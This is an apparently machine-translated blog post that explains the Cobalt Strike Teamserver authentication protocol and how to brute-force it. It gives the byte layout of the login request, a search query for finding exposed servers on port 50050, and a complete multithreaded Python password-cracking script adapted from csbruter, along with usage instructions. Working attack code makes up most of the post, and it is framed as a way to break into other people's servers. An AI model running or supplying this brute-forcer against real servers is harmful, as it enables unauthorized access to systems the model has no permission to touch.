0x00: Introduction
Cobalt strike (hereinafter referred to as CS)#
As we all know, CS is a GUI framework "multiplayer movement" penetration test tool based on MSF. It integrates port forwarding, service scanning, automatic overflow, multi-mode port monitoring, exe, powershell Trojan horse generation, etc
Phishing attacks include: site cloning, target information acquisition, java execution, browser automatic attack, etc.
Cobalt Strike is mainly used for team operations. It can be described as a team penetration artifact. It can allow multiple attackers to connect to the group server at the same time and share attack resources, target information and sessions.
As a collaborative apt tool, Cobalt Strike has become the first choice of many apt organizations for intranet penetration testing and as the control terminal function of apt.
0x01: cause
1. In order to make it easier for friends to connect to Teamserver quickly, many teams basically set weak passwords, such as 123456, 123123, etc
2. Many also use the default Teamserver port 50050
3. Gather the above weak entry points and start testing the blasting connection.
0x02: write
1, Own teamserver link test. After the server is set up, access the test through the browser. The test results of google browser are as follows.
The test results in Firefox browser are as follows
F12 see what happens
2, Let's take a look at the authentication method of Teamserver.
if [ -e ./cobaltstrike.store ]; then print_info "Will use existing X509 certificate and keystore (for SSL)" else print_info "Generating X509 certificate and keystore (for SSL)" keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias cobaltstrike -dname "CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth" fi # start the team server. java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=50050 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer $*
The first is the raw data type ostensibly used to protect the authentication of the socket.
The second is authentication based on Java serialized objects, including user names that are mostly symbolic.
Including cobalt strike The store is like this
In a fixed 261 byte command, the first authentication request is roughly defined as follows:
4 Byte Magic \x00\x00\xBE\xEF 1 Byte Password Length (unsigned int) Password (unsigned int cast char array) Padding \x65 "A" * ( Length( Password ) - 256 )
It looks like this on the wire, but the fill is ignored and can be anything. The authentication routine reads up to 256 "lengths"#
\x00\x00\xBE\xEF\x08passwordAAAAAAAAAAAAAA...AAAA
If the password provided matches the password defined when starting the team server, the team server will reply with a 4-byte password.
< this password cannot be empty >
\x00\x00\xCA\xFE
Otherwise, the team server returns null
\x00\x00\x00\x00
3, Writing ideas of Python 3#
conn.open(host, port) payload = bytearray(b"\x00\x00\xbe\xef") + len(password).to_bytes(1, "big", signed=True) + bytes(bytes(password, "ascii").ljust(256, b"A")) conn.send(payload)
Finally, judge whether the returned result exists "\ x00\x00\xca\xfe". If so, the password is correct
4, Find the team server of the roosters
"Cobalt strike" && port="50050"
5, Open whole
#!/usr/bin/env python3 import time,socket,ssl,argparse,concurrent.futures,sys MIN_PYTHON = (3, 3) if sys.version_info < MIN_PYTHON: sys.exit("Python %s.%s or later is required.\n" % MIN_PYTHON) parser = argparse.ArgumentParser() parser.add_argument("host", help="Teamserver address") parser.add_argument("wordlist", nargs="?", help="Newline-delimited word list file") args = parser.parse_args() class NotConnectedException(Exception): def __init__(self, message=None, node=None): self.message = message self.node = node class DisconnectedException(Exception): def __init__(self, message=None, node=None): self.message = message self.node = node class Connector: def __init__(self): self.sock = None self.ssl_sock = None self.ctx = ssl.SSLContext() self.ctx.verify_mode = ssl.CERT_NONE pass def is_connected(self): return self.sock and self.ssl_sock def open(self, hostname, port): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(10) self.ssl_sock = self.ctx.wrap_socket(self.sock) if hostname == socket.gethostname(): ipaddress = socket.gethostbyname_ex(hostname)[2][0] self.ssl_sock.connect((ipaddress, port)) else: self.ssl_sock.connect((hostname, port)) def close(self): if self.sock: self.sock.close() self.sock = None self.ssl_sock = None def send(self, buffer): if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)") self.ssl_sock.sendall(buffer) def receive(self): if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)") received_size = 0 data_buffer = b"" while received_size < 4: data_in = self.ssl_sock.recv() data_buffer = data_buffer + data_in received_size += len(data_in) return data_buffer def passwordcheck(password): if len(password) > 0: result = None conn = Connector() conn.open(args.host, 50050) payload = bytearray(b"\x00\x00\xbe\xef") + len(password).to_bytes(1, "big", signed=True) + bytes(bytes(password, "ascii").ljust(256, b"A")) conn.send(payload) if conn.is_connected(): result = conn.receive() if conn.is_connected(): conn.close() if result == bytearray(b"\x00\x00\xca\xfe"): return password else: return False else: print("Do not have a blank password!!!") passwords = [] if args.wordlist: passwords = open(args.wordlist).read().split("\n") else: for line in sys.stdin: passwords.append(line.rstrip()) if len(passwords) > 0: attempts = 0 failures = 0 with concurrent.futures.ThreadPoolExecutor(max_workers=30) as executor: future_to_check = {executor.submit(passwordcheck, password): password for password in passwords} for future in concurrent.futures.as_completed(future_to_check): password = future_to_check[future] try: data = future.result() attempts = attempts + 1 if data: print ("Successful Attack!!!") print ("Secquan NB!!") print("Target Password: {}".format(password)) except Exception as exc: failures = failures + 1 print('%r generated an exception: %s' % (password, exc)) else: print("Password(s) required")
Execution mode: test py x.x.x.x pass. txt
pass.txt is the password file you want to explode Article reference
https://github.com/ryanohoro/csbruter